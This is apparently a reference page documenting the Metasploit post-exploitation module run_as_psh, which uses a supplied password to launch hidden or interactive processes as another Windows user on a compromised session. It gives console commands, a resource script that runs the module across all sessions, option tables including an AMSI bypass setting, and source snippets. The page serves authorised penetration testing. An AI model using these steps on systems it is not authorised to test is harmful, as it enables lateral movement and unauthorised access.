Windows 'Run As' Using Powershell - Metasploit


This page contains detailed information about how to use the post/windows/manage/run_as_psh metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows 'Run As' Using Powershell
Module: post/windows/manage/run_as_psh
Source code: modules/post/windows/manage/run_as_psh.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will start a process as another user using powershell.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/run_as_psh

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/run_as_psh
msf post(run_as_psh) > show options
    ... show and set options ...
msf post(run_as_psh) > set SESSION session-id
msf post(run_as_psh) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/run_as_psh")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • USER: User to run executable as

  • PASS: Password of user

Knowledge Base


Overview


This module will start a process as another user using powershell. By default, it will start an interactive cmd as the target user.

Options


  • USER - The use to run the program as.
  • PASS - The user's password
  • DOMAIN - The domain of the user
  • EXE - The program to run (default cmd.exe)
  • ARGS - The program arguments
  • PATH - The path to run the program in (default C:\)
  • CHANNELIZE - Channelize the output, required to read output or interact
  • INTERACT - Interact with program
  • HIDDEN - Hide the console window

Module Process


The process will use the Start-Process command of powershell to run a process as another user.

Limitations


  • Requires Powershell
  • Hidden Mode does not work with older powershell versions
  • Interactive mode needs to be run from a meterpreter console
  • Certain SYSTEM Services cannot run Start-Process with the -credential switch, causing the module to fail
  • SYSTEM processes without I/O pipes cannot use interactive mode

Examples


meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run post/windows/manage/run_as_psh user=test pass=mypassword

[*] Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false
[*] Process 1672 created.
[*] Channel 30 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\\>whoami
whoami
my-pc\test

C:\\>

meterpreter > run post/windows/manage/run_as_psh user=test pass=mypassword hidden=false channelize=false interactive=false exe=cmd path=C:\\\\windows args="/c start notepad"

[*] Process 9768 created.
meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/run_as_psh post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/run_as_psh

msf6 post(windows/manage/run_as_psh) > show info

       Name: Windows 'Run As' Using Powershell
     Module: post/windows/manage/run_as_psh
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  p3nt4

Compatible session types:
  Meterpreter

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  ARGS                          no        Arguments
  CHANNELIZE   true             yes       Chanelize output, required for reading output or interracting
  DOMAIN                        no        Domain of user
  EXE          cmd.exe          yes       Executable to run
  HIDDEN       true             yes       Hide the window
  INTERACTIVE  true             yes       Run interactively
  PASS                          yes       Password of user
  PATH         C:\              yes       Working Directory
  SESSION                       yes       The session to run this module on.
  USER                          yes       User to run executable as

Description:
  This module will start a process as another user using powershell.

Module Options


This is a complete list of options available in the windows/manage/run_as_psh post exploitation module:

msf6 post(windows/manage/run_as_psh) > show options

Module options (post/windows/manage/run_as_psh):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   ARGS                          no        Arguments
   CHANNELIZE   true             yes       Chanelize output, required for reading output or interracting
   DOMAIN                        no        Domain of user
   EXE          cmd.exe          yes       Executable to run
   HIDDEN       true             yes       Hide the window
   INTERACTIVE  true             yes       Run interactively
   PASS                          yes       Password of user
   PATH         C:\              yes       Working Directory
   SESSION                       yes       The session to run this module on.
   USER                          yes       User to run executable as

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/run_as_psh post exploitation module:

msf6 post(windows/manage/run_as_psh) > show advanced

Module advanced options (post/windows/manage/run_as_psh):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   Powershell::Post::dry_run               false            yes       Return encoded output to caller
   Powershell::Post::force_wow64           false            yes       Force WOW64 execution
   Powershell::Post::log_output            false            yes       Write output to log file
   Powershell::Post::timeout               15               yes       Powershell execution timeout, set < 0 to run async without termination
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/run_as_psh module can do:

msf6 post(windows/manage/run_as_psh) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/run_as_psh post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/run_as_psh) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Interactive mode can only be used in a meterpreter console


Here is a relevant code snippet related to the "Interactive mode can only be used in a meterpreter console" error message:

49:	      domain = user.split('\\')[0]
50:	      user = user.split('\\')[1]
51:	    end
52:	    # Check if session is interactive
53:	    if !session.interacting && inter
54:	      print_error('Interactive mode can only be used in a meterpreter console')
55:	      print_error("Use 'run post/windows/manage/run_as_psh USER=x PASS=X EXE=X' or 'SET INTERACTIVE false'")
56:	      raise 'Invalide console'
57:	    end
58:	    # Prepare powershell script
59:	    scr = "$pw = convertto-securestring '#{pass}' -asplaintext -force; "

Use 'run post/windows/manage/run_as_psh USER=x PASS=X EXE=X' or 'SET INTERACTIVE false'


Here is a relevant code snippet related to the "Use 'run post/windows/manage/run_as_psh USER=x PASS=X EXE=X' or 'SET INTERACTIVE false'" error message:

50:	      user = user.split('\\')[1]
51:	    end
52:	    # Check if session is interactive
53:	    if !session.interacting && inter
54:	      print_error('Interactive mode can only be used in a meterpreter console')
55:	      print_error("Use 'run post/windows/manage/run_as_psh USER=x PASS=X EXE=X' or 'SET INTERACTIVE false'")
56:	      raise 'Invalide console'
57:	    end
58:	    # Prepare powershell script
59:	    scr = "$pw = convertto-securestring '#{pass}' -asplaintext -force; "
60:	    scr << "$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist '#{domain}\\#{user}',$pw; "

Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false


Here is a relevant code snippet related to the "Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false" error message:

61:	    scr << "Start-process '#{exe}' -WorkingDirectory '#{path}' -Credential $pp"
62:	    if args && args != ''
63:	      scr << " -argumentlist '#{args}' "
64:	    end
65:	    if hidden
66:	      print_status('Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false')
67:	      scr << ' -WindowStyle hidden'
68:	    end
69:	    scr = " -c \"#{scr}\""
70:	    # Execute script
71:	    p = client.sys.process.execute("powershell.exe", scr,

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • p3nt4

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.